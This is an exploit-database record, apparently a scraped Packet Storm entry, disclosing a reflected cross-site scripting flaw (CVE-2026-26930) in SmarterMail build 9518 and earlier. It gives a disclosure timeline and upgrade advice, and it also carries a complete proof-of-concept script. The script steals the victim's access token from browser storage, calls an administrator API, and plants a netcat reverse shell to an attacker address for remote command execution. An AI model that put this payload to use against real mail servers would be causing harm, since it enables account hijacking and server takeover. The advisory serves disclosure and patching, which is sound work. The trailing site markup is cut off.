{“lastseen”:”2026-02-17T18:08:16″,”description”:”SmarterMail versions 9518 and below have an issue where user input passed through the MailboxId GET parameter to the MAPI endpoints is not properly sanitized before being used to generate HTML output. This can be exploited by attackers to perform…”,”published”:”2026-02-17T00:00:00″,”modified”:”2026-02-17T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 SmarterMail 9518 Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:215790″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-26930″],”sourceData”:”—————————————————————————-\\n SmarterMail \\u003c= 9518 (MailboxId) Reflected Cross-Site Scripting Vulnerability\\n —————————————————————————-\\n \\n \\n [-] Software Link:\\n \\n https:\/\/www.smartertools.com\/smartermail\/business-email-server\\n \\n \\n [-] Affected Versions:\\n \\n Build 9518 and prior builds.\\n \\n \\n [-] Vulnerability Description:\\n \\n User input passed through the \\”MailboxId\\” GET parameter to the MAPI\\n endpoints is not properly sanitized before being used to generate HTML\\n output. This can be exploited by attackers to perform Reflected Cross-Site\\n Scripting (XSS) attacks which, in turn, might lead to 1-click Remote\\n Command Execution (RCE) attacks.\\n \\n \\n [-] Proof of Concept:\\n \\n https:\/\/karmainsecurity.com\/pocs\/CVE-2026-26930.html\\n \\n \\n [-] Solution:\\n \\n Upgrade to build 9526 or later.\\n \\n \\n [-] Disclosure Timeline:\\n \\n [26\/01\/2026] – Vendor notified\\n \\n [26\/01\/2026] – Vendor response stating \\”we will get this over to the\\n developers for evaluation\\”\\n \\n [30\/01\/2026] – Vendor released build 9526\\n \\n [03\/02\/2026] – CVE identifier requested\\n \\n [16\/02\/2026] – CVE identifier assigned\\n \\n [16\/02\/2026] – Public disclosure\\n \\n \\n [-] CVE Reference:\\n \\n The Common Vulnerabilities and Exposures project (cve.org) has assigned the\\n name CVE-2026-26930 to this vulnerability.\\n \\n \\n [-] Credits:\\n \\n Vulnerability discovered by Egidio Romano.\\n \\n \\n [-] Original Advisory:\\n \\n https:\/\/karmainsecurity.com\/KIS-2026-04\\n \\n \\n — packet storm attached poc: —\\n \\n \\u003c!–\\n —————————————————————————-\\n SmarterMail \\u003c= 9518 (MailboxId) Reflected Cross-Site Scripting Vulnerability\\n —————————————————————————-\\n \\n author…………..: Egidio Romano aka EgiX\\n mail…………….: n0b0d13s[at]gmail[dot]com\\n software link…….: https:\/\/www.smartertools.com\/smartermail\/business-email-server\\n \\n +————————————————————————-+\\n | This proof of concept code was written for educational purpose only. |\\n | Use it at your own risk. Author will be not responsible for any damage. |\\n +————————————————————————-+\\n \\n [-] Original Advisory:\\n \\n https:\/\/karmainsecurity.com\/KIS-2026-04\\n –\\u003e\\n \\u003cscript\\u003e\\n \\n const VICTIM_URL = \\”http:\/\/smartermail\\”;\\n \\n const XSS = `\\u003cscript\\u003e\\n const ATTACKER_IP = \\”192.168.1.23\\”;\\n const ATTACKER_PORT = \\”4444\\”;\\n \\n fetch(\\”` + VICTIM_URL + `\/api\/v1\/settings\/sysadmin\/AddOrUpdateMount\\”, {\\n method: \\”POST\\”,\\n headers: {\\n \\t\\”Content-Type\\”: \\”application\/json\\”,\\n \\t\\”Authorization\\”: \\”Bearer \\” + Object.values(JSON.parse(localStorage.userTokens))[0].accessToken\\n },\\n body: JSON.stringify({\\n CommandMount: \\”rm \/tmp\/f; mkfifo \/tmp\/f; cat \/tmp\/f | \/bin\/sh -i 2\\u003e\\u00261 | nc \\” + ATTACKER_IP + \\” \\” + ATTACKER_PORT + \\” \\u003e \/tmp\/f\\”,\\n MountPath: \\”RCE\\”\\n })\\n });\\n \\u003c\\\\\/script\\u003e`;\\n \\n location.href = VICTIM_URL + \\”\/mapi\/nspi?MailboxId=\\” + encodeURIComponent(btoa(XSS));\\n \\n \\u003c\/script\\u003e”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215790″,”cvss”:{“score”:7.2,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:L\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215790\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-17T18:08:16″,”description”:”SmarterMail versions 9518 and below have an issue where user input passed through the MailboxId GET parameter to the MAPI endpoints is not properly sanitized…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-41162","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n